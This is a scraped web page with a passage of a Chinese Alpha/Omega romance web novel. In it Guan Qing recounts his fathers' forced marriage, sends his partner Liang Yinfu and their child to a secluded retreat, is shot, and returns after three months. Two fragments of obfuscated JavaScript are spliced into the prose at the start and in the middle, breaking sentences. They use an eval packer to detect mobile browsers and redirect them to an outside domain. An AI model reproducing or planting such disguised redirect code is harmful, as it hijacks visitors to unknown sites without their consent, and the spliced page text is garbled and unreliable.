l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303424|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追杀,又辗转多处,才勉强保住性命。 梁因芙静静地听着,点了点头想林幻真一定很开心。 没有什么,比看到自己以为已经失去的爱人,重新活着回到自己身边,更让人开心和庆幸的事情了。 活着本身就是最大的奇迹和恩赐。 关擎看着梁因芙带着柔和笑意的脸,忽然想到了什么,伸出手臂,将梁因芙拥进了自己怀里。 “你以后想在这里吗?还是回小镇?” 关擎将选择权交到了梁因芙的手里,无论梁因芙想去哪里,想选择什么样的生活,只要梁因芙在他身边,哪里都可以是家。 梁因芙问道:“你呢?” 他想知道,关擎自己是怎么想的。 关擎低下头,用自己的额头抵着梁因芙的额头:“我都听你的,我们当时结婚的时候就说好了,我都听你的。” 梁因芙被他这话弄得心里还有些感动,好奇道:“你难道就一点都不留恋权势吗?你出现在电视里还是很威风的。” 梁因芙当时是真的被关擎帅到了,那个时候他虽然很恨他,关擎跟平时不太一样,出现在公众视野中时属于顶级Alpha的强大气场,冷静,不近人情的冰冷精英感,确实很威风,很吸引人。 站在金字塔尖俯瞰众生,是多少人梦寐以求不惜一切代价也想要得到的东西。 关擎闻言,摇了摇头,伸出手极其温柔地轻轻地抚摸着梁因芙细腻的脸颊。 闻到梁因芙身上那干净清冽的信息素气息,会让他的心变得特别柔软温暖。 “那不是我想要的。” 关擎开始跟梁因芙讲述他父辈的故事。 当初他们的两个父亲,一个是出身显赫,控制欲极强,性格冷酷强势的顶级Alpha,一个才华横溢却性格敏感,向往自由的Omega画家。 他们的结合并不是出于自愿,而是基于家族利益,政治联姻,两个性格南辕北辙的人被强行捆绑在了一起,进入了一场名为婚姻的牢笼。 婚姻内没有培养出感情,反而因为彼此之间那无法消弭的矛盾滋生了数不清的隔阂与怨恨,渐渐就变成了一对怨侣。 日复一日的争吵,冷战,互相伤害。 最终两看相厌,彼此都感到无比的疲惫和绝望,彻底分开。 他们也将那份仇怨也带到了下一辈,选择了一人带一个孩子,此生不复相见。 Alpha父亲带走了关擎,Omega父亲带走了关驰。从此这对孪生兄弟,天各一方,在不同的环境,不同的教育下成长。 而他们的父辈,都对不在身边的那个孩子,怀有深深的亏欠。 这种亏欠,并非源于健康的父爱,而是不甘和对另一方的怨恨迁怒。 他们会在自己身边的孩子面前,反复地描述另外一个孩子过着怎样凄惨,水深火热的日子。 借此来诋毁对方,证明自己的选择和教育才是正确的。 说实话挺幼稚的。 但两个小孩都信了。 关擎那个时候,从Alpha父亲口中听到的是哥哥关驰跟着那个不务正业,不会照顾人的Omega画家父亲,过着颠沛流离,食不果腹甚至茹毛饮血般的悲惨生活。 他想象中哥哥是弱小可怜,需要拯救的。 而关驰从Omega父亲那里听到的,则是弟弟关擎跟着那个冷酷无情,只在乎利益和面子的Alpha父亲,过着如同提线木偶般胆战心惊的日子。 关驰想象中弟弟是孤独压抑,不快乐。 但是哪有那么夸张。 关擎也是后来到了Omega父亲身边才知道,Omega画家父亲虽然性格迷糊,不擅长打理世俗事务,经济上确实有些清贫,但他对孩子的爱是纯粹而自由的。 他不会用条条框框束缚孩子,会带着他去野外写生,会温柔耐心的方式教孩子画画,教他欣赏美,教他如何用画笔和色彩,去表达内心的情感和眼中的世界。 虽然他给不了孩子锦衣玉食,前呼后拥的生活,却给了小孩一个充满想象,丰富而温暖的内心世界。 而Alpha父亲虽然控制欲强,对孩子的要求极其严格苛刻,但也确实将孩子保护得不错。 给了孩子最好的教育,最顶级的资源,虽然方式冰冷,但在物质上关擎从未真正吃苦。 兄弟两人想象着对方水深火热的生活,却不知道对方其实是以一种截然不同的方式成长着。 那些夸张的想象,不过是父辈们将对自己的不满,对对方的怨恨,和对无法掌控那个不在身边的孩子焦虑,投射到了身边孩子身上。 直到他们长大,重新相遇,当初关擎提出交换人生,双方都答应得那么快。 因为哥哥和弟弟都想让对方过得好一些。 关擎的Alpha父亲过世后,Omega父亲听闻这个消息后,把自己关了一夜,谁也不知道他在想什么,他选择了一个人离开,不知下落,留下一封信说不必找他。 Omega父亲对关擎说:希望他们不要学他,他这一辈子都是个自私的人。 两个父亲何尝没有认出身边的儿子变了,只是谁都憋着一口气,不点破,不肯认输。 关驰说有一次他的Alpha父亲有一次看到他画画,在一旁默默看了很久,最后竟然红了眼眶。 关擎讲完这些,舒了一口气,他不再像以前那样,提起这些时带着偏激,反而很释然平静。 因为他在两个父亲身边都待过,他也不知道谁才是正确的。 “宝宝,那些东西从来就不是我真正想要的,我真正想要的从始至终,都很简单。” 关擎深深地看着梁因芙:“我只想要一个家,有你在,有小宝在,一个不需要证明自己,也不需要时刻警惕伤害的家。” 梁因芙听着他这番话,他伸出手回抱住了关擎,手掌抚摸着他坚实宽阔的后背,说道:“好,那一切结束后我们回小镇吧,那里有我们的家。” 18.小美人寻夫记(完) 关驰回来之后,就像一根定海神针,悄无声息地插在了暗流汹涌的关家。 林幻真整个人肉眼可见地松弛了许多。 很快关驰就再次消失了,不是离开,而是隐匿在了起来。 梁因芙对关擎说,总觉得有种风雨欲来的感觉,很不踏实。 关擎只是摸摸他的头,让他别瞎想。 这天关擎回来得比平时早。 天色还没完全暗透,夕阳的余晖从厚重的丝绒窗帘缝隙里挤进来,梁因芙给他倒了杯水,刚放下,就听见关擎开口:“宝宝,我安排一下,明天把你和小宝,送到一个安全的地方去。等这边事情了了,我会去找你们。” 梁因芙玻璃杯底磕在桌上,发出一声不轻不重的脆响。 他抬起头,看向关擎:“你是混蛋吗?” “你又这样?每次都是这样,一声不吭然后你自己去面对那些乱七八糟要命的事情?关擎,我是你随手就能塞进保险箱里的贵重物品吗?” 关擎理亏,无奈道:“宝宝,你不是物品,很贵重,这次不一样,你留在这里我分心,你要是磕着碰着,哪怕只是掉一根头发,那才是真的,要我的命。” 梁因芙胸口剧烈地起伏了几下:“有什么不一样。” 他知道关擎说得有道理。 他不是那种只会拖后腿,无理取闹的人。 这潭水有多深多浑,他这些日子多少能感知到一些。 自己和小宝留在这里,确实是最大的软肋和变数。 理智告诉他应该听话,可情感上,心口发酸发疼:“好,那你给我个时间,多久?关擎,我要一个确切的时间。我不能像个傻子一样,在一个我不知道是哪里的地方,漫无目的地等下去。” 关擎看着他:“三个月,宝宝,给我三个月。” 梁因芙点了点头:“好,三个月,我等你三个月。” “关擎,你听好了,三个月,一天不多,一天不少。你要是三个月期满,不来找我,就带着小宝回小镇,我会把关于你的一切都忘掉,重新开始,我会找个人,对我好,对小宝也好,然后改嫁,气死你。” 这话说得又狠又绝。 关擎一把将站在面前的梁因芙用力拉进了怀里。 梁因芙猝不及防,跌坐在他腿上,被他紧紧箍住腰身,动弹不得。 关擎低下头,灼热的气息喷洒在梁因芙颈后那块最敏感,属于Omega腺体的皮肤上。 他没有想要标记他,只是用嘴唇贪婪地反复摩挲着那块柔软的肌肤,感受着怀中人因为紧张和恼怒而微微的颤抖,和他身上散发出的信息素味道。 “别说傻话。” 关擎的声音闷闷的,贴着他的后颈传来,恳求道,“宝宝,等我,一定要等我。” 他的吻从腺体流连到耳后,呼吸越发灼热沉重,最后,几乎是含着梁因芙的耳垂,用气声说出了让梁因芙酥麻战栗的话。 “等我回来,我要彻底标记你呢。” 梁因芙的脸一下红透了,一直红到耳朵尖。 身体里那股因为争执和不安而升起的冷意,被这句话带来的排山倒海般的羞窘和滚烫的情绪冲得七零八落。 他张了张嘴,想骂他不要脸,想说他混蛋,却只能僵硬地被关擎抱着。 梁因芙想,自己真是没出息透了,再理智,再清醒,规划得再好,一旦撞上关擎,撞上他这副不要命的混账样子,所有的盔甲和原则,都变得不堪一击。 真是再理智的人,也逃不过煽情。 林幻真不能走。 他一走,目标太大,关家那些嗅觉灵敏,无孔不入的老狐狸们,立刻就能察觉到风向不对,顺藤摸瓜,反而会坏了布局。 梁因芙和小宝,在一个天色未明的清晨,被关擎亲自安排的人,悄无声息地送走了。 车子在盘山公路上开了很久,窗外的景色从繁华的都市,逐渐变成绵延的青山,最后停在一处隐蔽性极好,环境清幽的院落前。 梁因芙下了车,抱着还在熟睡的小宝,环顾四周。 远处是黛青色的山峦轮廓,近处绿树成荫,院子里种着许多叫不出名字的花草,空气清新得带着甜味,偶尔能听到几声清脆的鸟鸣。 他不知道这是哪里,只觉得像世外桃源。 后来偶尔在院门口散步,看到远处山道上隐约有穿着统一制服的工作人员引导着几辆低调但气派的车驶过,听到路过的人低声交谈,提到疗养,静修之类的字眼。 梁因芙才意识到,这里不是普通的风景区,而是位高权重需要绝对隐私和安全的人,才会来的疗养胜地。 难怪景色这么美,这么静。 小宝有人专门照顾,饮食起居都被安排得妥妥帖帖,小家伙适应得很快,在铺着厚厚地毯的客厅里爬来爬去,玩着新玩具,咯咯直笑,似乎很喜欢这个有花有草,还能看到小鸟的新环境。 梁因芙却闲不下来。 他每天最重要的事,就是电视,任何带有关擎字眼的新闻,哪怕只是一条不起眼只有两行字的短讯,他都会立刻点开,逐字逐句地看,恨不得从字缝里看出花来。 关擎会给他打电话,说想他了。 梁因芙起初不想跟他多说,后来还是没忍住。 关擎问他:“风景好看吗?可以出去走走,别一天都在室内。” 梁因芙抬头说:“你在监控里可以看到我吗?” 关擎说:“我要保证你的安全。” 梁因芙坏心眼地说:“那你在我的卧室里安了吗?听见我昨晚在想你吗?” 那头关擎的喘息果然重了一些,他让梁因芙别戏弄他。 等待的滋味,像钝刀子割肉。 在这片风景如画,安全无虞的桃源里,梁因芙的心,却始终悬在万丈悬崖边,随着屏幕上那些不断跳动的字符和画面,忽上忽下,不得安宁。 然后令人窒息的平静,被彻底打破了。 新闻是在一个下午推送过来的。 标题触目惊心,带着血淋淋的感叹号。 梁因芙指尖冰凉,几乎握不住那轻薄的机身。 他抖着手指点开新闻链接,正文还没看清,一个自动播放的视频就弹了出来。 画面晃动得厉害,像素不高,带着偷拍特有的模糊和噪点。 人影幢幢,衣着光鲜。 然后梁因芙看到了关擎,穿着深色的西装,没打领带,衬衫领口松开了两颗纽扣,侧着脸,似乎正在对身边的人吩咐什么,眉宇间是惯常不容置喙的冷厉。 就在他转身,准备走向停靠在路边的黑色轿车时。 “砰!” 一声极其突兀,隔着劣质音响都能听出尖锐的爆响。 画面剧烈地晃动,旋转,人群瞬间炸开,尖叫,奔跑,推搡,乱成一团。 在混乱破碎的镜头角落,梁因芙清晰地看到,关擎的身体猛地踉跄了一下,像是被人从侧面狠狠推了一把。 他抬手,似乎想按住身体的某个部位,深色西装的前襟,迅速洇开一片不祥,比夜色更浓的深色痕迹。 然后他高大的身影晃了晃,在周围保镖扑上来形成人墙的前一秒,缓缓地单膝跪倒在地。 视频到这里戛然而止,变成一片黑暗。 梁因芙眼前一黑,耳朵里嗡的一声,像是有人在他后脑勺狠狠敲了一记闷棍。 血液仿佛瞬间从四肢百骸倒流回心脏,又冻成冰碴,再猛地炸开,冲向头顶。 他扶着旁边的沙发扶手,才没让自己直接瘫软下去。 他张着嘴,想喊,想叫关擎的名字,可喉咙里像是堵了团浸湿的棉花,半点声音也发不出来,只有牙齿在不受控制地轻微地磕碰着。 差点……差点就真的晕过去。 新闻稿随后详细描述了事件的经过,开枪射击的人,当场被关擎的保镖制服,随后调查指向了关擎的三叔。 新闻下面,很快有了各种深度分析和独家揭秘。 所谓的评论员,豪门秘辛写手和一些匿名的内部人士,开始长篇大论地剖析关家内部盘根错节的利益关系,父子,兄弟,叔侄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308268|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间的明争暗斗,血腥往事。 他们分析谁更有手腕,谁更得人心,谁背后的势力更盘根错节,这场已见了硝烟的战争,究竟会鹿死谁手?谁才能活到最后? 梁因芙知道关家是个龙潭虎穴,知道关擎身边危机四伏,可知道和亲眼看到,大到根本不知道,哪一次看似平常的转身,就可能是一次永别。 梁因芙浑身的血液都凉透了,手脚冰冷,胃里一阵阵翻搅,恶心得想吐。 然后他猛地想起关擎送他离开前,最后让他签的那份文件,厚厚装订整齐,全是密密麻麻的法律条款和专业术语。 梁因芙懒得看,关擎当时只是把笔递给他说对他好的。 梁因芙几乎没怎么看内容,就胡乱签下了自己的名字。 现在想来,那些文件……梁因芙不敢深想,可那个念头一旦冒出来,就像藤蔓一样疯狂滋长,缠得他透不过气,不免心慌意乱,坐立难安。 就在他几乎要被自己的恐惧和胡思乱想吞噬的时候,林幻真的电话打了进来。 林幻真安抚他:“因芙,别太担心,阿擎目前状况稳定,已经做了处理,子弹取出来了,没伤到要害,只是需要静养,他让我转告你,等他。” 梁因芙反复确认了好几遍,挂断电话,虚脱般靠在沙发里,后背全是冷汗,浸湿了薄薄的棉质家居服。 他抬手,摸向自己的脖颈。 那里挂着一条项链,是关擎给他的。 梁因芙此刻将那冰凉的链坠紧紧攥在手心,然后贴到了自己微微颤抖的嘴唇上,闭上眼。 他在心里无声地一遍遍地祈祷,用尽了这辈子能想到的所有神灵和美好的词汇,只求他的爱人,能够化险为夷,能够平安,回到他身边。 等待的日子,被无限拉长。 新闻的热度渐渐下去,关家的消息被更劲爆的八卦取代。 关擎仿佛真的从公众视野里彻底消失了,没有新的消息,没有照片,连林幻真那边的联系,也再次变得断断续续,语焉不详。 三个月后,是他和关擎约定的最后期限。 期限到来的前一天,梁因芙订好了离开的机票。 是傍晚的航班,飞往南小镇。 他收拾了简单的行李,主要是小宝的衣物和玩具,行李就放在门边。 出发当天,他一整天都心神不宁。明明该去机场的时间早就过了,他却磨磨蹭蹭,又去检查小宝的行李,把已经叠好的小衣服拿出来,重新叠了一遍。 夕阳西下,金色的余晖将远山和近处的树梢都镀上了一层温暖的光晕,美得不真实。 司机已经第三次轻声提醒,再不出发,就要错过航班了。 梁因芙站在门口,看着门外那条蜿蜒向下的被夕阳染成金红色的小径。 引擎低沉的轰鸣声由远及近,打破了山间的宁静。 不是送他走的车,一辆黑色的越野车像一头敏捷的猎豹,从蜿蜒的山道尽头疾驰而来,卷起一路烟尘,在漫天绚烂的霞光中,一个利落的甩尾,稳稳停在了院门外。 车门打开。 一道高大挺拔的身影,逆着漫天橘红与金紫交融的瑰丽天光,踩着满地碎金般的夕阳,大步走了进来。 光影在他周身勾勒出清晰的轮廓,带着风尘仆仆的气息。 是关擎。 他瘦了些,脸部线条比以前更加深刻凌厉,头发剪短了,更显得五官立体,眉眼间那股逼人的锐气丝毫未减,反而沉淀出一种经过淬炼后更为内敛的锋芒。 他穿着一件简单的黑色衬衫,袖子随意挽到手肘,眼睛亮得惊人,映着天边最后的霞光。 他径直走到僵在门口的梁因芙面前,落在他脚边那个孤零零的行李箱上。 关擎伸手,很自然地将呆立着的梁因芙,连同他怀里正好奇眨巴着眼睛的小宝,一起用力揽进了自己怀中。 手臂收得很紧,关擎声音低哑:“……我也可以一起吗?” 梁因芙吸了吸鼻子,他伸出手抱关擎抱得更紧:“关擎,我们回家。”